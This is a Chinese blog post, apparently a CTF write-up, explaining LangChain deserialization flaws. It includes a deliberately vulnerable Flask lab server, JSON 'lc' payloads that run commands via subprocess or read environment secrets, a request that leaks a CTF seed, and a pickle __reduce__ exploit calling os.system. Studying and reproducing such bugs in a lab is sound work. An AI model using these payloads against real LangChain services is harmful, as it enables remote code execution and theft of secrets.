获取中...

-

Just a minute...

最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下

LangChain介绍

LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)
举个例子 假如我们现在要设计一个客服机器人 它的工作是根据用户问题搜索公司文档 然后把结果交给LLM生成回答 这一系列行动是通过LangChain实现的

1
搜索链->凭借提示词->调用AI模型->输出回答

同时为了提高开发效率 LangChain还提供了很多的辅助功能 其中之一就是保存和加载整个链配置 比如你已经调试好了一条链 想要存成文件下次直接使用 这就需要一个序列化机制

LangChain存在漏洞的设计

在低版本的LangChain之中是存在pickle反序列化漏洞的(LangChain<0.0.233)这是CVE-2023-36258 于是开发者为了替代不安全的Python原生pickle 发明了一种基于JSON/字典的序列化格式 其大致思路是这样的

  • 把每一个LangChain对象都表示成一个普通字典
  • 在字典之中使用一个特殊字段lc来标记“这是一个LangChain”对象 按照这一设计的协议来将其反序列化
  • type表示调用哪个类或函数 id表示要导入的模块路径和对象名称 kwargs表示传什么参数
1
2
3
4
5
6
7
8
9
{
"lc": 1,
"type": "constructor",
"id": ["langchain_community", "llms", "openai", "OpenAI"],
"kwargs": {
"model_name": "gpt-3.5-turbo",
"temperature": 0.7
}
}

我们来看到这一段JSON 这就是一个OpenAL的LLM对象序列化之后的内容

1
"lc": 1

这是LangChain协议的身份标识 反序列化器(loads)识别到字典之中存在lc并且其值等用途1的时候就指导需要按照LangChain协议恢复它

1
"type": "constructor"

这一段的作用是告诉反序列化器使用那种方式重建对象
这里使用的constructor是最常见的类型 用于动态导入一个可调用对象 然后使用kwargs作为参数调用它 返回结果就是原始对象

1
"id": ["langchain_community", "llms", "openai", "OpenAI"]

前面的langchain_communityllmsopenal会被使用.号连接起来 写成模块路径langchain_community.llms.openai
最后这一段内容就会被解释成from langchain_community.llms.openai import OpenAI

1
2
3
4
"kwargs": {
"model_name": "gpt-3.5-turbo",
"temperature": 0.7
}

这一段内容就比较好理解了 这就是传给构造函数的关键字参数 反序列化器拿到OpenAI后 会这样调用

1
OpenAI(model_name="gpt-3.5-turbo", temperature=0.7)

从而原封不动的重建出哪个LLM配置对象

这个机制本身没有什么问题 问题出在 它对所有带有lc键的字典一视同仁 并没有严格区分这个字典是LangChain自己生成的还是来自用户输入的普通·数据

LangChain反序列化漏洞如何产生

关于LangChain 目前有两个已知的漏洞

CVE-2025-68664

这是本篇文章主要研究的漏洞 在高版本的LangChain之中 由于修复了前者 我们考虑使用LangChain自己的协议来攻击自己

漏洞点存在于langchain-coredumps()/dumpd()函数之中 这些函数本来是用来将LangChain对象转换成JSON/字典的 但是当题目处理一个由用户传入的自由格式字典的时候 不会讲字典里可能存在的lc键做任何转义或隔离
又由于我们之前提到 这个机制对所有带有lc的JSON一视同仁 会将这些JSON字典当成合法的LangChain对象来重建 从而执行攻击者指定的任意Python函数或类构造函数 导致远程代码执行或者信息泄露

比如说是这样一个处理结构

1
2
3
4
5
user_data = request.get_json()
serialized = dumps(user_data) # 注意:user_data 里可能有 {"lc":1,...}
# 存到数据库...
# 后来加载:
obj = loads(serialized) # 此处会触发恶意构造的对象加载!

这个漏洞的本质原因就是协议控制字段lc和用户数据共用同一个命名空间 并且序列化函数未对用户数据进行净化 导致的信任边界混淆

68664漏洞简单复现

由于我的python版本太高了 直接安装LangChain会出现不兼容的问题
这里我选择手动编写一个和LangChai-core里面的loadd函数相同的函数就行

环境搭建

首先创建文件夹langchain_lab
使用python创建一个虚拟环境

1
2
python -m venv venv  //这一步创建环境 第二个venv是虚拟环境名称
venv\Scripts\activate //这一步是进入虚拟环境

接下来要给虚拟环境安装我们需要的模块
在这里使用request和Flask就行

1
2
pip install Flask
pip install requests

那么现在我们为了模拟LangChain的机制 需要手动编写一个loadd函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import importlib
from flask import Flask, request, jsonify

app = Flask(__name__)

# ---------------- 模拟 langchain 的 loadd 函数 ----------------
def loadd(obj):
"""
和真实有漏洞的 langchain_core.load.loadd 行为一致:
- 如果 obj 是字典且包含 lc==1,就把它当作 LangChain 对象重建。
- type=="constructor" 时,根据 id 动态导入模块并调用,传入 kwargs。
"""
if isinstance(obj, dict) and obj.get("lc") == 1:
if obj.get("type") == "constructor":
id_list = obj["id"]
module_path = ".".join(id_list[:-1]) # 如 "os"
attr_name = id_list[-1] # 如 "system"
mod = importlib.import_module(module_path)
func = getattr(mod, attr_name)
kwargs = obj.get("kwargs", {})
return func(**kwargs)
# 这里可以添加其他 type 的处理,但为了实验只演示 constructor
return obj # 普通字典,原样返回

# ---------------- 服务端接口 ----------------
@app.route('/api/config', methods=['POST'])
def load_config():
data = request.get_json()
# 危险:直接把用户 JSON 传给 loadd
result = loadd(data)
return jsonify({"status": "ok", "data": str(result)})

if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=5000)

那么漏洞函数和服务端就扣都写好了 直接使用python打开即可
看到Running on http://127.0.0.1:5000就说明启动成功 保持这个终端打开
再开一个终端 同样激活虚拟环境
创建一个攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://127.0.0.1:5000/api/config"

# 恶意 payload:在 D:\langchain_lab 下创建 pwned.txt
payload = {
"lc": 1,
"type": "constructor",
"id": ["subprocess", "check_output"],
"kwargs": {
"args": ["cmd", "/c", "echo Su@sU > D:\\langchain_lab\\pwned.txt"]
}
}

resp = requests.post(url, json=payload)
print("Response:", resp.json())

我们传入地方payload里面定义了subprocess.check_output(args=["cmd", "/c", "echo ..."]) 在 Windows 上执行命令 命令内容是吧Su@sU写入pwned.txt之内
在终端执行这个攻击脚本就会发现文件pwned.txt生成在目录之中 并且写入了Su@sU了
整个简单模拟完成

读取环境变量

在这道题目之中我们需要读取环境变量之中的SHOP_SUPPORT_SEED
那么我们同样的来模拟一下读取环境变量之中规定内容应该如何操作
将exploit.py之中的内容修改成这样

1
2
3
4
5
6
payload = {
"lc": 1,
"type": "constructor",
"id": ["os", "getenv"],
"kwargs": {"key": "PATH"}
}

最核心就是描述导入os模块的getenv函数
等价于

1
from os import getenv

由于os.getenv(key, default=None) 所以我们需要在参数之中传入

1
"kwargs": {"key": "PATH"}

这样一来就会变成
getenv(key="PATH") 于是返回系统环境变量的值

我们再回过头看这道SCTF上的web shop
查看前端js代码可以看到这样的构造逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function ge(e, t) {
return {
source: t ? "asset-probe" : "chat-sync",
client: "web-shop",
ts: Date.now(),
messages: t
? [{
lc: 1,
type: "constructor",
id: ["langchain_core", "messages", "SystemMessage"],
kwargs: { content: "Support replay context initialized." }
}]
: [{ type: "text", content: e }]
}
}

可以了解到这个是LangChain反序列化的形式
这道题中文名可以向机器人发起对话 也符合LangChain这个和AI息息相关的框架
那么我们可以向机器人发出自己构造的带有lc标识的JSON 用以实现我们的目的
在这里我们需要算出staff code 而staff code的计算需要环境变量之中的SHOP_SUPPORT_SEED 那么我们就可以了LangChain反序列化的方式获得环境变量之中的这个值

我们需要知道除了使用os.getnev的方式之外 我们还有别的更简单 更不容易被发现的方式获取环境变量
这里利用secret类型 :在LangChain之中 一些敏感配置不会明文卸载序列化结果里面 而是用一个secret引用 指向环境变量 反序列化的时候 secret类型会自动从os.environ之中读取对应键之中的值
那么我们就可以这么构造

1
2
3
4
5
"probe": {
"lc": 1,
"type": "secret",
"id": ["SHOP_SUPPORT_SEED"]
}

那么我们就可以先正常登录获取token之后 利用bp发送以下JSON内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /api/chat/messages
Content-Type: application/json
Authorization: Bearer <你的token>

{
"content": "probe",
"metadata": {
"source": "chat-sync",
"client": "web-shop",
"ts": 1234567890,
"probe": {
"lc": 1,
"type": "secret",
"id": ["SHOP_SUPPORT_SEED"]
},
"messages": [
{
"type": "text",
"content": "hello"
}
]
}
}

后端处理这个metadata的时候 内部的loadd函数遇到probe字段 并发现lc=1且type=secret的时候 就会执行os.environ["SHOP_SUPPORT_SEED"] 并用返回的字符串替换probe字段的值 此时当再次请求获取聊天记录的时候 返回的metadara.probe
就不再是那个字典 而是变成了实际的种子字符串 我们就获取了环境变量之中的这个值

CVE-2023-36258

这个漏洞是直接使用pickle反序列化来完成 由于早期版本的LangChain.chains.loading模块之中 load_chain()函数直接使用了Python原生的pickle.load()来加载用户提供的文件 就会产生这一漏洞

存在漏洞的设计

LangChain的核心是链 用户可能会话很长时间调试一个复杂的链(搜文档——提取关键信息——调用LLM——格式化输出)那么自然 当用户调试好之后就想将这个链保存到文件 下次就能直接加载使用
于是LangChain设计了一个函数:load_chain(path)其设计初衷就是为了给定一个文件路径 把文件内容反序列化成一个直接可用的Chain对象
那么这时候 Python原生支持 能序列化几乎任何Python对象的pickle就显得很好用了

1
2
3
4
5
import pickle

def load_chain(path: str):
with open(path, "rb") as f:
return pickle.load(f) # 直接反序列化

上述代码定义了一个load_chain函数 这个函数接收一个参数类型提示未字符串的参数path
之后以二进制只读模式打开path指定的文件 并使用pickle.load(f)从文件对象f之中读取二进制字节流 将其还原成原始的Python对象

但是这样设计隐含了一个致命的问题 其假设:被加载的文件是用户自己保存的 安全可信的
然而LangChain作为一个框架 它的load_chain函数很可能被开发者用在服务端 接收来自最终用户上传的文件 攻击者就可以构造恶意的pickle文件让服务器加载

漏洞产生原理

这里运用的漏洞产生原理其实也就是pickle反序列化的原理
pickle反序列化特殊之处在于它保存的是一串操作码 类似于指令 告诉反序列化器一步步一个怎么做

最核心部分在于__reduce__方法
当一个对象定义了reduce方法 pickle会在序列化的时候调用它 这个方法应当返回一个元组(callable,args)当反序列化的时候 pickle.load会执行callable(*args)
那么我们就可以定义一个类 让他的__reduce__返回危险函数和恶意参数 然后讲这一对象序列化成文件
就比如这样

1
2
3
4
5
6
7
8
9
import pickle
import os

class Evil:
def __reduce__(self):
return (os.system, ('echo Su@sU',))

with open("evil.pkl", "wb") as f:
pickle.dump(Evil(), f)

那么当以上序列化数据被反序列化的时候 就会执行os.system('echo Su@sU') 这样一来就会导致恶意代码执行

这个漏洞的利用就是pickle反序列化漏洞的利用逻辑 再次不做过多赘述

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • URLDNS链入门

    在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?有的兄弟有的如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗那么这就是我们需要学习的UR...

    URLDNS链入门
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 动态加载字节码

    动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题 核心方法在java.lang.ClassLoader类中有一个方法 1protected fi...

    动态加载字节码
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • 死亡绕过

    前言以及环境介绍本文是对p神文章谈一谈php://filter的妙用 | 离别歌知识点的学习 本文主要介绍使用filter伪协议进行死亡绕过的三种方式 测试环境:小皮面板测试代码:exit.php 12345<...

    死亡绕过
  • Phar反序列化漏洞演示

    前言我们在之前学习的反序列化漏洞 无一不是利用了unserialize()这个函数 但是我们没有去考虑 假设此时的题目并没有给我们这个函数 我们还能否实现反序列化呢 其实是可以的 在2018年的BlackHat 大会上 Sam Tho...

    Phar反序列化漏洞演示
Please check the parameter of comment in config.yml of hexo-theme-Annie!